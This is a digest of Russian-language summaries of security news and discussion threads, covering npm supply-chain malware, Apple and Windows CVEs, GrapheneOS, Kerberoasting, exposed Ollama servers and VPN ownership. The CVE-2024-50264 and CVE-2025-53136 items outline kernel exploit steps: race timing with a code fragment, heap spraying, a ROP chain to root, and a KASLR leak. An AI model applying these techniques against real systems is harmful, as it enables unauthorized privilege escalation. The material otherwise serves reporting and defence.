• Некоторые пользователи выражают озабоченность по поводу потенциальных векторов атаки и необходимости использования аутентификации по паролю для SSH в этом сценарии.

Компания Anthropic находится в центре внимания в Вашингтоне, но её отказ разрешить использование своих моделей для некоторых правоохранительных целей усилил негативное отношение к ней в администрации Трампа.

• Участники подвергают сомнению достоверность статьи Semafor, называя её предвзятой и содержащей ложные утверждения.
• Обсуждаются ограничения использования ИИ, накладываемые компаниями (включая Anthropic и Microsoft), особенно в контексте государственного наблюдения и военных применений.
• Высказывается мнение, что правительственные агентства должны быть полностью осведомлены об ограничениях при заключении контрактов.
• Поднимается вопрос о суверенитете: предлагается, чтобы правительство США обучило собственную модель ИИ, если ему нужна модель без ограничений.
• Отмечается, что Anthropic, будучи американской компанией, получила допуск для работы с секретными данными благодаря серьёзному отношению к безопасности.
• Обсуждается потенциальное давление на Anthropic со стороны правительства, включая возможную потерю контрактов, за отказ снять ограничения.
• Упоминается, что технически возможно внедрить ограничения прямо в веса модели или обеспечить их соблюдение через FedRAMP-совместимые облачные среды.

О нет, снова... Размышления об атаках на цепочку поставок NPM

Я долго откладывал эту статью — более года — но, как мы видим на этой неделе, пришло время снять покровы и сказать вслух:

В 2025 году Microsoft следует считать «плохим игроком» и угрозой для всех компаний, разрабатывающих программное обеспечение.

Конечно, если вы достаточно взрослые, чтобы помнить — это не первый раз...

Время — плоский круг

Мы снова здесь — в 2025 году Microsoft настолько всё испортили, что создали ещё больший риск, чем в 2000-х с их браузером, просто ничего не делая.

Изначально я начал писать этот пост во время инцидента с xz — изощрённой и долгосрочной попытки взять под контроль библиотеку, используемую в менеджерах пакетов большинства дистрибутивов Linux.

С тех пор произошло множество инцидентов, и конкретно NPM стал крупнейшим и самым простым способом распространения вредоносного ПО. Сначала большинство атак было направлено на кражу криптовалюты (поскольку техбро одержимы магическими электрическими деньгами и являются лёгкой добычей). Но теперь эти атаки на цепочку поставок нацелены на более критичные вещи, такие как токены и ключи доступа maintainers пакетов, как видно из инцидента с NX и теперь несколькими зависимостями, ежедневно используемыми тысячами разработчиков.

Опять же... это ничего нового в мире NPM.

Но так быть не должно было...

Мы прошли долгий путь, но никуда не ушли

У меня долгая история с NodeJS — примерно в 2010 году я начал работать над стартапом, и это было до того, как npm вообще появился.

В туманные дни 1990-х большинство проблем безопасности JavaScript не сильно касались бэкенда: это в основном была область Perl, PHP, Python и Java.

Однако веб был совсем другой историей.

В самые ранние дни Всемирной паутины был только один основной браузер, который все использовали: Netscape Navigator. Выпущенный в 1994 году, он был не просто браузером: на протяжении своей жизни он имел различные воплощения встроенного почтового клиента, календаря, HTML-редактора с FTP-браузером, а с плагинами мог воспроизводить медиафайлы, такие как Realplayer и MP3 (что я помню при его запуске), а также флеш-фильмы и игры. Именно здесь родился JavaScript.

Многие ранние сайты того времени были статичными — популярные инструменты для создания сайтов включали HotDog или Блокнот. Никаких навороченных IDE или фреймворков, только текстовый редактор, браузер и alert() для отладки.

Microsoft также вошла в игру с Internet Explorer — включённым в раннее DLC для Windows под названием «Plus! For Windows 95». В конечном итоге он стал программным обеспечением, на которое Microsoft поставила всю свою корпоративную стратегию (во многом как сегодня с ИИ).

Internet Explorer был встроен в каждый аспект Windows — сначала в 1995 году с Active Desktop, что продолжалось вплоть до Windows XP. С ним можно было встраивать фрейм на рабочий стол, а также документы Rich Text или электронные таблицы Excel. Он также был раздутым и багнутым — и с этим представлял две проблемы: огромный риск безопасности и обвинения в монополизации рынка браузеров.

Закон жёстко настиг Microsoft, и в 2001 году она проиграла — Microsoft было приказано разбить компанию, но апелляция отменила это решение.

• Участники критикуют экосистему npm за уязвимости в цепочке поставок и отсутствие безопасности по умолчанию, сравнивая её с другими менеджерами пакетов.
• Обсуждается роль крупных компаний (в частности, Microsoft как владельца npm) в решении проблем безопасности и их ответственность за состояние экосистемы.
• Предлагаются конкретные меры: обязательная 2FA, подписывание кода, политика задержки обновлений (cooldown), переход на альтернативы (pnpm), сканирование пакетов.
• Поднимается проблема эксплуатации труда добровольцев в open-source и недостаточного вклада коммерческих организаций в проекты, которые они используют.
• Отмечается, что культура JavaScript-разработки чрезмерно зависит от большого количества зависимостей, что увеличивает поверхность атаки.
• Указывается на необходимость более строгого контроля зависимостей, включая проверку кода и фиксирование версий (pinning).
• Некоторые участники считают, что фундаментальные изменения в экосистеме маловероятны, и рекомендуют индивидуальные меры защиты.

О безопасности iOS 15.8.5 и iPadOS 15.8.5

Этот документ описывает обновления безопасности для iOS 15.8.5 и iPadOS 15.8.5.

Обновления безопасности Apple

Apple не раскрывает информацию об уязвимостях до завершения расследования и выпуска исправлений. Последние обновления перечислены на странице выпусков безопасности Apple.

iOS 15.8.5 и iPadOS 15.8.5

Выпущено 15 сентября 2025 года

ImageIO

Доступно для: iPhone 6s, iPhone 7, iPhone SE (1-го поколения), iPad Air 2, iPad mini (4-го поколения) и iPod touch (7-го поколения)

Влияние: Обработка вредоносного файла изображения может привести к повреждению памяти. Apple известно о сообщениях, что эта уязвимость могла использоваться в целевых атаках.

Описание: Исправлена ошибка записи за пределами границ за счёт улучшенной проверки.

CVE-2025-43300: Apple

Информация о продуктах, не изготовленных Apple, или независимых веб-сайтах предоставляется без рекомендаций. Apple не несёт ответственности за выбор или использование сторонних продуктов.

Опубликовано: 15 сентября 2025 года

• Пользователи отмечают длительную поддержку старых устройств Apple (до 10 лет) в сравнении с ограниченной поддержкой Android-устройств от Google и других производителей.
• Обсуждаются технические причины короткого цикла поддержки Android: ограничения со стороны производителей чипов (Qualcomm) и необходимость интеграции обновлений производителями телефонов.
• Выпуск обновления для устаревших моделей связывают с эксплуатацией уязвимости нулевого дня в целевых атаках государственного уровня, что подчеркивает серьезность угрозы.
• Уточняется, что обновление доступно для широкого списка старых устройств (iPhone 6s, 7, SE, iPad Air 2 и др.), а не только для 10-летнего iPhone 6s.
• Поднимается вопрос о практической пользе обновления для пользователей очень старых устройств, которые могут не устанавливать патчи.
• Отмечается, что современные Android-производители (Google, Samsung) увеличили承诺 срок поддержки до 5-7 лет, что приближается к политике Apple.
• Обсуждается техническая сторона уязвимости: возможность удаленного выполнения кода (RCE) через обработку malicious изображения, часто в связке с уязвимостью в WhatsApp.

• Пользователи отмечают необычное и вызывающее головокружение отображение шрифтов на сайте, сравнивая его с психологической операцией.
• Некоторые предполагают, что искажение шрифтов может быть проблемой совместимости с Linux или конкретными браузерами.
• Высказана гипотеза, что особенность шрифта может быть способом кодирования информации для отслеживания утечек документов.
• Обсуждается красакция пометок на рассекреченном документе, объясняемая необходимостью защиты действующих методов и источников.
• Отмечается сходство представленного дрона-птицы с современными разработками, что вызывает вопросы о текущем уровне таких технологий.
• Одно из мнений: цель материала — вербовка, а сам сайт может принадлежать подразделению по набору персонала.
• Некоторые комментарии удалены модерацией или отмечены как нежелательные.
• Часть пользователей шутливо связывает происходящее с научной фантастикой или считает это сатирой.

OCSP-сервис Let's Encrypt отключён

С 6 августа 2025 года Let's Encrypt полностью выключил OCSP-ресурдер.
Все выпущенные после марта сертификаты уже не содержали ссылок на OCSP, и старые истекли. Отныне отзывы публикуются только через CRL.

Причины отказа

• Конфиденциальность: OCSP раскрывает посещаемые сайты и IP-адрес запрашивающего.
• Простота: CRL теперь полноценно поддерживаются, а OCSP требовал значительных ресурсов.

Факты

• Пик нагрузки: 340 млрд запросов/мес (~140 000 зап/с).
• CDN предоставлял Akamai безвозмездно последние 10 лет.

Что дальше
Клиенты, требующие проверки отзыва, должны использовать CRL.

• Участники обсуждают отказ от OCSP и переход на CRL: оба механизма называют «костылями» — CRL слишком тяжёлые и медленно обновляются, OCSP требует онлайна и уязвима к MITM/DoS.
• Chrome вообще не проверяет ни OCSP, ни CRL, а пользуется собственным CRLSets-фильтром от Google; большинства пользователей это не знают.
• Проблема OCSP в «fail-open»-режиме: если ответ заблокирован, сертификат считается валидным, что делает систему бесполезной против активной атаки.
• Предложенные замены — stapling и короткоживущие (24-часовые) сертификаты — тоже критикуют: stapling почти никто не делает, а массовый выпуск 24-часовых certs перегрузит CT-логи и превратит любые проблемы валидации в немедленный аутейдж.
• Итог: отзыв по-прежнему нерешённая проблема; сообщество склоняется к «просто живём с короткими сертами» и считает OCSP/CRL устаревшими.

• curl: 180 тыс. строк, 1,4 тыс. авторов, 20–25 активных в месяц, один зарплатный разработчик — сам Стенберг.
• Используют 47 брендов авто; спонсоров — 0.
• Компании требуют поддержку, аудиты, соответствие CRA, шлют угрозы «I will slaughter you».
• LLM-боты сыплют ложными баг-репортами, ИИ-скраперы ддосят сайт: 99,99 % трафика — боты.
• Поддержка = одному человеку: безопасность, документация, инфраструктура, иногда фичи.
• Письмо 11-летнего ребёнка — единственное тёплое «спасибо».

• Компании хотят платить за OSS, но бюрократия, налоги и отсутствие «адреса» делают это почти невозможным.
• Поток фейковых «AI-уязвимостей» превратился в охоту за CVE ради резюме и баг-баунти, отнимая время у maintainer’ов.
• curl получил 200 тыс. € от немецкого Sovereign Tech Agency — редкий пример гос-финансирования.
• Утопичная идея «AGPL-шантажа» и GoFundMe мгновенно оборачивается форком и потерей сообщества.
• Нет единого «клоут-индекса» библиотек: кто действительно критичен — видно только изнутри.

• CVE-2025-53136 – утечка адреса ядра Windows 24H2+ через NtQuerySystemInformation(SystemTokenInformation).
• Появилась после неудачного патча CVE-2024-43511: в RtlSidHashInitialize() ядро кладёт указатель на TOKEN→UserAndGroups в пользовательский буфер, и за короткий промежуток его можно считать.
• Уязвимость доступна из Low IL / AppContainer; при победе в гонке выдаёт надёжный KASLR bypass.
• Эксплойт: два потока – один циклично вызывает syscall, второй читает буфер; адрес токена утечёт почти всегда.
• Цепляется с write-what-where → LPE.

• KASLR на x86 считается «мертв» даже с KPTI: EntryBleed и prefetch-эксплойты работают на новых Intel/AMD.
• Утечка через SystemTokenInformation (Win11 24H2) даёт адрес ядра, но раньше KASLR и так легко обходился.
• Баг оказался в NtQueryInformationToken, а не в новом enum; статья уже исправлена.
• Патч KB5063878 (август 2024) закрыл уязвимость; совпадение с «фиаско Phison SSD» – случайность.
• Эксплойт полезен как звено в цепочке, но KASLR всё равно воспринимается лишь «speed bump».

GrapheneOS и извлечение данных: мифы и реальность

GrapheneOS — защищённая Android-система, превосходящая iOS по ряду параметров. В мае в соцсетях разгорелась кампания, обвинявшая проект в «взломе»; на деле речь шла о добровольной выдаче кода владельцем.

Цифровая форензика

Цель — извлечь доказательства с устройств. Методы могут злоупотребляться против журналистов и активистов, поэтому GrapheneOS максимально усложняет изъятие без согласия.

Cellebrite

Израильская фирма продаёт комплекс UFED для извлечения данных. Оборудование поставляется и авторитарным режимам (Беларусь, РФ, КНР, Мьянма и др.).

Как вытащить информацию

1. Добровольное разблокирование — владелец сам вводит PIN.
2. Взлом — эксплойты или подбор кода.

Устройство бывает в двух состояниях:

• BFU — после перезагрузки, ключи шифрования не загружены, почти всё зашифровано.
• AFU — разблокировано хотя бы раз, ключи в памяти, доступ к данным шире, но экран может быть заблокирован.

• Утечки Cellebrite подтверждают: GrapheneOS с обновлениями после 2022 г. пока «не берётся» взломом.
• Ради высокой безопасности проект отказывается от официального root-доступа и поддерживает только Pixel (они единственные позволяют надёжно разблокировать/перезапирать загрузчик и имеют нужные аппаратные модули безопасности).
• Песочница GrapheneOS изолирует даже закрытые драйверы-блобы (Wi-Fi, модем, Bluetooth), минимизируя риск бэкдоров.
• Пользователи LineageOS считают переход на GrapheneOS оправданным: стабильные обновления, sandboxed Play Services и «выключатель» USB-порта.
• В дискуссии о «хороших/плохих» правительствах большинство сходится: любые власти могут (и будут) злоупотреблять доступом к данным, поэтому доверять кому-либо «вслепую» нельзя.

GrapheneOS получает предварительный доступ к бюллетеням безопасности Android и уже готовит обновления.

• Google на 3–4 месяца блокирует публикацию исходников патчей безопасности, чтобы OEM-ы успели обновить свои устройства, но при этом злоумышленники получают «белый свет» на использование уязвимостей.
• GrapheneOS видит патчи, но не может включать их в открытые сборки, пока не истечёт эмбарго, что ставит пользователей в уязвимое положение.
• Предложенный выход — выпускать временно бинарные обновления (opt-in), чтобы сообщество могло запрашивать GPL-исходники и реверс-инжирить исправления.
• Участники считают, что OEM-ы легко могли бы тестировать патчи в CI за дни, но экономия и нежелание тратиться на безопасность тормозят процесс.
• Некоторые подозревают, что затягивание обновлений выгодно не только OEM, но и госструктурам, которым даётся «окно» для эксплойтов.

Что такое GrapheneOS
Android для Google Pixel, заточенный под безопасность и приватность. Работает только на Pixel 8/9 (7 лет обновлений).

Профили

• Разные пользователи = изолированные шифрованные контейнеры.
• Можно полностью выключить профиль, тогда его приложения не работают в фоне.
• Переключение: тянем шторку → иконка внизу → PIN.

Google
Play Services ставятся в 1 клик из собственного магазина GOS; можно жить без Google вообще.

Установка
С браузера за 15 минут с Linux/Win/Mac; проверка образа после загрузки через TPM. OTA-обновления автоматом.

Разрешения
Сеть, камера, микрофон и т.д. – отдельно для каждого приложения и профиля. Удобно ставить апп в «владельца» без сети, потом клонировать туда, где нужно.

Производительность
Без графического shell, чистый AOSP + hardened ядро: быстрее stock-Pixel и без рекламы.

Безопасность

• Песочницы приложений, отключение метаданных Bluetooth/Wi-Fi, эксплойт-защита памяти, авто-перезагрузка если загрузчик разблокирован.
• Возможность показать «proof of boot» – что прошивка не тронута.

Мой сценарий
1 профиль – без сети, 2 – VPN+FIDO, 3 – SIM+Signal, 4 – камера. Переключаюсь по мере надобности.

Девайс
Pixel 8a, 8 ГБ ОЗУ, 256 ГБ ПЗУ, цена ~500 €, заряд 1-2 дня, камера отличная.

Итог
GrapheneOS = Pixel + годы обновлений + контроль над каждым приложением. Если нужен безопасный Android – бери Pixel и ставь GOS.

• GrapheneOS вызывает споры: кто-то хвалит «без-глючность» и песочницы, кто-то ругает отказ от root и «кастрюлю» с профилями.
• Покупка Pixel для GOS в США часто сопровождается требованием персональных данных; часть пользователей платит наличными и вводит фейки.
• Главные плюсы: сильное разграничение прав приложений, отключение Google Play, обновления без глюков, возможность мульти-профилей и VPN-наблюдения.
• Главные минусы: нет автозаписи звонков, сложность переключения профилей, проблемы с RCS/Fi/банковскими и платёжными приложениями, отсутствие root «из коробки».
• Часть комментаторов считает, что GOS всё-таки уменьшает утечки к Google, даже если сервисы Google всё же нужны; альтернативы — /e/OS, рут-образы или полный отказ от смартфона.

Kerberoasting — это старая уязвимость в Windows, которая до сих пор работает: злоумышленник, получивший доступ к сети, может перехватить TGS-тикет любого сервиса, зашифрованный паролем учётной записи SPN, и затем в автономном режиме подобрать пароль.

• Не требует привилегий.
• Работает, пока пароль не слишком сложный.
• Microsoft знает, но не считает критичным.

Итог: пароли сервисных учёток — слабое звено; используйте длинные случайные пароли и регулярно меняйте их.

• Kerberoasting всё ещё жив: атака ломает не TGT, а TGS-тикеты, зашифрованные NT-хэшем пароля сервис-аккаунта.
• 99 % проблем — человеческие: админы вешают SPN на обычные учётки, ставят короткие пароли и не отключают слабые RC4.
• Microsoft с 2022 года выдаёт AES по умолчанию, но совместимость оставляет RC4 «для старого», и инструменты вроде PingCastle до сих пор не ругаются на это.
• Пентесты показывают 50 % успеха в 2010-х и всё ещё высокий процент: 21-символьный пароль из менеджера + отключенный RC4 надёжно закрывают атаку.
• Универсального фикса нет: keytab-файлы, строгие SPN, AES-only GPO и ротация паролей работают только вместе, но требуют ручной работы и ломают устаревшие приложения.

Коротко: в NPM проникли популярные пакеты (colors, debug и др.) через фишинг письмо «смени 2FA». Вредоносный код подменял адреса криптокошельков.
Почему это мелко: библиотеки используются в CLI-утилитах, а не в Web3; украденные API-ключи или майнеры были бы катастрофой.
Вывод: любая зависимость может быть трояном, но проверять всё дерево пакетов никто не успевает — надо успевать релизить.

• Атака на NX через NPM показала, что даже популярные плагины могут стать вектором для кражи creds и API-кейсов.
• Участники сходятся: «всё дерево зависимостей NPM по умолчанию доверяет всем», а ручная проверка каждой мелкой библиотеки невозможна при скорости релизов.
• Многие выжили лишь благодаря «отложенным обновлениям», изоляции в контейнерах или отказу от экосистемы Node/NPM целиком.
• Фишинг на домене npm.help подтвердил, что даже IT-специалисты не всегда замечают поддельные TLD; предлагают белые списки ссылок и DMARC-индикаторы в клиентах.
• Утверждение «мы просто не заметили более продвинутые атаки» звучит всё чаще: Jia Tan 3.0, по мнению комментаторов, уже где-то в supply-chain.

• В npm-пакетах DuckDB версий 1.3.3 и 1.29.2 обнаружена вредоносная вставка.
• При установке пакета запускается пост-скрипт, который скачивает и исполняет сторонний исполняемый файл, собирая сведения о системе и отправляя их на сторонний сервер.
• Проблемные версии удалены из реестра npm; рекомендовано немедленно удалить их из проектов и перегенерировать все ключи/токены.

• Атака на NPM-пакеты DuckDB — результат обычного фишинга: злоумышленник подменил сайт, украл 2FA и сразу опубликовал вредоносные версии.
• Пострадали 4 пакета; вредоносный код вмешивался в криптотранзакции, но денег не украл.
• Уязвимость — человеческий фактор: даже технические мейнтейнеры кликают по ссылкам в «срочных» письмах.
• Обсуждение сводится к тезису: подписывать артефакты, использовать пасскеи/HSM, вводить «заморозку» публикации после смены 2FA и требовать ≥2 подписи мейнтейнеров.
• NPM-сообщество считает, что критическая инфраструктура (NPM, PyPI, Maven) должна быть защищена строже, чем обычные сервисы.

running-qix-malware
Репозиторий демонстрирует работу вируса QIX (1989) в эмуляторе DOS.

• Собранный DOS-бинарь запускается в браузере через эмулятор.
• Исходники на ассемблере и C, скрипты сборки.
• Инфицирует .COM-файлы, показывает бегущую линию.
• Безопасен: эмуляция изолирует вредоносный код.

• Участники вспомнили про инцидент Jia Tan и пожаловались, что npm до сих пор не автоматически блокирует публикации с обфусцированным кодом и шестнадцатеричными именами.
• Предложены меры: предпубликационный сканер с «задержкой на проверку», 2FA-апрув каждого релиза, опциональный «verified»-бейдж и поддержка Yubikey.
• Сомнения в пользе LavaMoat: не спасает от DLL в lifecycle-скриптах, не работает с Webpack HMR, а изоляция может быть дорогой.
• Обсуждали lock-файлы: хэши в package-lock защищают от перезаписи версии, но теги git всё ещё можно подменить; иммутабельность npm-тарболлов считается основной защитой.
• Namespaces (@scope) в npm есть с 2016 г., но «красивые» безскоповые имена всё ещё популярны, поэтому переход идёт медленно.

Кратко:
Разработчик ICEBlock (приложение для анонимных доносов на ICE) проигнорировал мой отчёт об уязвимости. 1 сентября я сообщил, что его сервер на Apache 2.4.57 содержит критические CVE, и попросил обновиться до публикации критического поста. В ответ — блокировка и обвинения во лжи. Через два дня уязвимость всё ещё не закрыта; исправление занимает одну команду apt upgrade.

• Автор сообщил разработчику ICEBlock о «уязвимости» (устаревший Apache), но дал всего 90 минут до публикации критичной статьи — это не responsible disclosure.
• Большинство участников считают «уязвимость» фейком: версия могла быть за-патчена дистрибутивом, PoC отсутствует, эксплуатация не доказана.
• Пост воспринимается как «activism theater»: автор смешал политическую критику приложения и технический аудит, что выглядит как хит-пьеса.
• Разработчик заблокировал автора после первого демонстративного поста; сообщество считает реакцию понятной.
• Вывод: ни сторона автора, ни сторона ICEBlock не выглядят профессионально — шум вокруг пустяковой «уязвимости» никому не помог.

Коротко:
Секреты в логах — это не «одним фиксом» решить нельзя. Ни 80/20, ни чудо-инструмента нет. Есть 10 «свинцовых пуль» — несовершенных, но при правильной раскладке работают.

---

Почему течёт

Причина	Пример
Прямой логинг	log.info(user) вместо log.info(user.id)
«Мусорные» дампы	logger.debug(req.headers)
Конфиги	debug=true выводит весь env
Зашитые секреты	JSON-поле password внутри структуры
Телеметрия	APM-сборщик хватает всё подряд
Пользователь	Вводит пароль в поле «имя»

---

10 «пуль»

1. Архитектура данных
   Разделяем «чувствительное» и «остальное» на уровне схемы; в логи идёт только последнее.

2. Трансформации
   Сериализуем через sanitize() или toLog() — явно выбрасываем секретные поля.

3. Domain-primitives

   • Компиляция: SecretString не реализует Display.
   • Рантайм: Redactable интерфейс, toString() → "***".

4. Read-once
   Пароль читается 1 раз, дальше объект пустой — логировать нечего.

5. Taint-tracking
   Помечаем вход как «грязный»; если доходит до логгера — exception. Дорого, но точно.

6. Форматтеры логов
   Пишем свой Layout / Encoder, который режет заранее заданные ключи рекурсивно.

7. Unit-тесты
   Проверяем assertThat(log).doesNotContain(secret); запускаем на каждый PR.

8. Сканеры
   Regex-правила + entropy-фильтры в CI и в production-потоке. Сэмплируем, чтобы не умереть от CPU.

9. Pre-processors
   Vector / Logstash / Cribl вырезают поля ещё до попадания в Elasticsearch.

10. Люди
    Code-review чек-лист: «есть ли тут .toString / JSON.stringify / printf без фильтров?».

---

Стратегия

1. Фундамент: классификация данных, единый словарь «что считать секретом».
2. Карта потока: от источника до хранилища логов.
3. Контрольные точки: валидация, sanitize, redact.
4. Защита в глубину: 2-3 слоя из списка выше.
5. План на инцидент: ротация, оповещение, forensics.

---

Итог:
Нет волшебства — только дисциплина и много мелких фиксов. Начните с 2-3 «пуль», которые дешёвле всего у вас, и двигайтесь дальше.

• Отличный пост: чёткий разбор проблемы «секреты в логах» и конкретные техники борьбы.
• Основные идеи: taint-tracking, in-band метки, GuardedString/SecureString, доменные примитивы new Secret(...).
• Сложности: стектрейсы, JSON, core-dumps, динамически создаваемые секреты, человеческий фактор.
• Защита в глубину: маскировать, ограничивать доступ к логам, не писать всё подряд, валидировать маски (Kingfisher).

Инженеры Калифорнийского университета в Санта-Крузе разработали Pulse-Fi — систему, которая измеряет пульс через обычный WiFi без ношения датчиков.

• Точность: после 5 с обработки сигнала погрешность ≤0,5 уд/мин; показатели соответствуют медицинским стандартам.
• Работает при любом положении тела (сидя, стоя, лёжа, в движении) и на расстоянии до 3 м.
• Доступность: используются самые дешёвые WiFi-модули ESP32, поэтому подходит для условий с ограниченными ресурсами.

Алгоритм машинного обучения выделяет колебания сигнала, вызванные сердцебиением, и фильтрует шумы от движения и окружения. В испытаниях участвовали 118 человек, каждого проверили в 17 позах.

Публикация представлена на конференции IEEE DCOSS-IoT 2025.

• Wi-Fi уже умеет «видеть» сердцебиение и дыхание без всяких датчиков; новая работа UCSC просто уточняет точность до <0,5 уд/мин.
• Техника работает на обычных ESP32/RPi и, вероятно, на смартфонах, поэтому 24×7-мониторинг всей семьи становится дёшево и сердито.
• Пользователи видят плюсы: сон без браслета, поиск людей за стеной, замена PIR- и мм-волновым датчикам.
• Критики беспокоятся: данные можно продавать рекламодателям, использовать для слежки, взлома, таргетинга по эмоциям или даже ударов дронов.
• Пока нет ясности, как защититься: выключать Wi-Fi, строить «клетку Фарадея» или требовать open-source-оборудования — обсуждают всерьёз.

Ключевые выводы исследования

• 8 популярных коммерческих VPN обслуживают >700 млн пользователей, но скрывают собственность и имеют критические уязвимости.
• 3 VPN связаны с НОАК Китая, у остальных найдены признаки китайского контроля.
• Отсутствие прозрачности позволяет злоумышленникам снимать шифрование и перехватывать трафик.

Почему важна прозрачность
VPN переносят доверие от интернет-провайдера к самому сервису. При выборе пользователи должны решить:

• Прозрачность — знать, кто видит данные.
• Анонимность — не знать, но полагаться на обещания.

Риски для пользователей

• Авторитарные государства могут использовать скрытые связи VPN для слежки.
• Отсутствие публичной информации о владельцах и разработчиках усиливает уязвимости.

• Коммерческие VPN часто продаются через страх не-технических пользователей, хотя реальные сценарии — это обход геоблоков, торренты и «неполиткорректный» контент.
• Модель доверия к единому VPN-узлу критикуется; предлагаются решения вроде iCloud Private Relay и MASQUE-релеев, разделяющих «кто» и «что».
• Подозрения вызывают «популярные» VPN (Nord, Express), их рекламные бюджеты и возможные связи с разведками; Mullvad считается одним из самых прозрачных, но его IP-адреса всё чаще банят.
• Некоторые «бесплатные» или малоизвестные VPN/прокси-сервисы превращают клиентов в узлы резидентного прокси и продают их трафик третьим лицам.
• Даже при смене IP браузерное фингерпринтирование легко идентифицирует пользователя; HTTPS сделал старые аргументы «VPN для безопасности в публичном Wi-Fi» почти бесполезными.

Ключевые выводы исследования Cisco по обнаружению открытых серверов Ollama

• Цель: выявить уязвимые LLM-серверы, запущенные через фреймворк Ollama.
• Метод: Python-скрипт, сканирующий Shodan на признаки открытых API /api/tags, /api/ps, /api/chat.
• Результаты: найдено >1 100 публичных инстансов; ~20 % допускают анонимный чат и загрузку моделей.
• Риски: утечка данных, DoS, финансовые потери (GPU-трафик), инъекция вредоносных моделей.
• Рекомендации:
  • включить авторизацию и TLS;
  • фильтровать IP-адреса;
  • отключить --network host;
  • использовать reverse-proxy (nginx, traefik) и WAF;
  • регулярно сканировать инфраструктуру.

• Cisco сообщила об открытых в интернете >1 100 серверов Ollama без аутентификации.
• Ollama по умолчанию не требует пароля и не планирует встроенной защиты API.
• Пользователи решают проблему через firewall, nginx/caddy с токеном или VPN.
• Сообщество спорит: виноваты ли разработчики, админы или «вайб-кодеры».
• Многие считают риск низким, пока LLM не подключены к инструментам и чувствительным данным.

CVE-2024-50264: кратко о сложнейшей гонке в AF_VSOCK
Уязвимость введена в 2016 г. (ядро 4.8); это race между connect() AF_VSOCK и POSIX-сигналом, приводящий к UAF 80-байтового объекта virtio_vsock_sock. Триггер доступен обычному пользователю без user-ns. Ограничения: объект быстро освобождается, UAF-запись делает kworker, система легко падает. За это баг получил Pwnie 2025 «Best Privilege Escalation».

Управление сигналом без самоубийства процесса
Вместо SIGKILL, который убивает эксплойт, используется «бессмертный» сигнал 33:

sev.sigev_signo = 33;
timer_create(CLOCK_MONOTONIC, &sev, &race_timer);
timer_settime(...);  // точный момент прерывания connect()

Сигнал 33 зарезервирован NPTL, процесс его не видит и не завершается.

kernel-hack-drill: тренажёр для ядерных атак
Проект https://github.com/a13xp0p0v/kernel-hack-drill автоматизирует:

• сборку нужных версий ядра Ubuntu 24.04 (6.11 OEM/HWE) с разными конфигурациями KASLR/KCFI/SLAB_QUARANTINE;
• запуск в KVM с заданным RAM/CPU и ssh-форвардингом;
• однокнопочный запуск PoC и сбор crash-дампов.

Инструмент позволил быстро перебирать стратегии перераспределения kmalloc-96, искать объекты-спрей, тестировать разные техники обхода защит и отлаживать эксплойт без ручной пересборки ядра.

Новый путь эксплуатации
Автор отказался от сложной цепочки @v4bel и @qwerty и применил упрощённую схему:

1. Спрей sendmsg()-controlled объектами размером 96 байт, чтобы перехватить освобождённый virtio_vsock_sock.
2. UAF-запись переписывает поле sk_prot, указывая на поддельную структуру proto в userspace-буфере.
3. При последующем вызове close() ядро переходит по контролируемому указателю и исполняет ROP-цепочку, поднимая shell до root.

kernel-hack-drill сократил время от идеи до рабочего PoC с недель до нескольких часов.

• Участники в восторге от глубокого и единоличного описания use-after-free, но признают, что текст местами труден для чтения из-за «роботизированной» подачи.
• Многие чувствуют себя «бесполезными» на таком низком уровне и восхищаются талантом исследователей уязвимостей.
• Поднимается вопрос о мотивации: исследователи редко чинят баги, потому что это требует других навыков и ломает их инсентивы.
• Обсуждается, поможет ли Rust в ядре Linux: write-after-free технически блокируется, но unsafe-области всё ещё оставляют риски.

• Absinthe Labs, Connie Health, Materialize, Attendi, FusionAuth, Gigs, Findigs, Pairtu, Cassidy, SerpApi, Stream, Rockstar Games, P2P.org, N43 Studio, Prove AI, AllTrails, SwingVision, Klara, Brilliant, YC, Monumental, Common Prefix, Stealth Solar, ShieldAI, Dash0, Spacelift, Stile Education, RentSpree, Polar Sky, Tandem Health, Count, Oneleet, Radar Labs, Ploid AI, V7, Moyai, Better Stack, iGent AI, Rappo, JustWatch, Deep Film, Sumble, OneCrew, Duranta, Coachcube, Rover, Kaedim, EAGL, Stellar Science и Komodo Health активно набирают инженеров и специалистов по продукту.
• Вакансии охватывают полный стек, ML/AI, мобильную разработку, безопасность, DevRel, дизайн и менеджмент; форматы — от строго офисных до полностью удалённых, с визовой поддержкой и зарплатами до $265k + equity.

AI-модели нуждаются в виртуальной машине

Современные приложения с ИИ включают модель в «обвязку», которая обеспечивает вызов инструментов, поиск контекста, безопасность и прочие сервисы. Первые чат-боты были простым REPL-циклом: запрос → модель → ответ. С появлением протоколов вроде MCP логика управления стала сложнее и требует свойств ОС: изоляции, расширяемости, переносимости, контроля доступа к файлам и инструментам.
Мы предлагаем рассматривать этот слой как виртуальную машину для ИИ-моделей (MVM), где одна из «инструкций» — вызов LLM. Это развязывает разработку моделей от кода интеграции и даёт «write once, run anywhere» аналогично JVM.

Зачем MVM

• Безопасность и приватность «из коробки», а не как дополнение.
• Повторное использование: любая модель подключается к экосистеме инструментов и политик безопасности.
• Переносимость: модель и политики можно поставлять и запускать в разных средах.

Пример работы

1. Пользователь: «Забронируй рейс».
2. MVM передаёт запрос модели.
3. Модель: «вызови booking-tool».
4. MVM проверяет, разрешён ли этот инструмент, и только потом вызывает его.
   Такой контроль есть в любом коммерческом ИИ-продукте; MVM выносит его в стандартизированную платформу.

Инструкции MVM

• загрузка/выгрузка модели и инструментов;
• вызов модели с контекстом;
• парсинг её ответа;
• вызов разрешённых инструментов;
• работа с памятью, историей, вводом пользователя;
• стандартные управляющие конструкции (if, seq, loop).

• Критики считают, что статья расплывчата: «VM для ИИ» сводится к обычной песочнице/контейнеру, а не к полноценной машине.
• Основная проблема — не инструменты, а разрешения: нужно точно ограничить, какие действия и данные доступны агенту, иначе он может, например, купить билет с 37-часовой пересадкой ради 3 $.
• Многие предлагают использовать уже существующие механизмы: Docker, отдельный пользователь, контейнеры, WebAssembly или capability-модель вроде Fuchsia.
• Часть комментаторов указывает, что продвинутые модели (ChatGPT Code Interpreter, OpenHands) уже работают в изолированных средах, но этого всё равно недостаточно.
• Итог: вместо новой «ОС для ИИ» нужно чёткое управление правами и данными; VM лишь метафора для этой задачи.

Можно ли разрешить sideload и остаться в безопасности?

Apple и Google утверждают: открыть установку сторонних APK — значит подвергнуть пользователей вирусам и мошенничеству. Но это не техническая, а политическая позиция.

Почему сейчас всё плохо

• Google Play Protect проверяет лишь часть приложений; зловреды всё равно проскальзывают.
• Сторонние магазины (F-Droid, Amazon) уже существуют и безопасны.
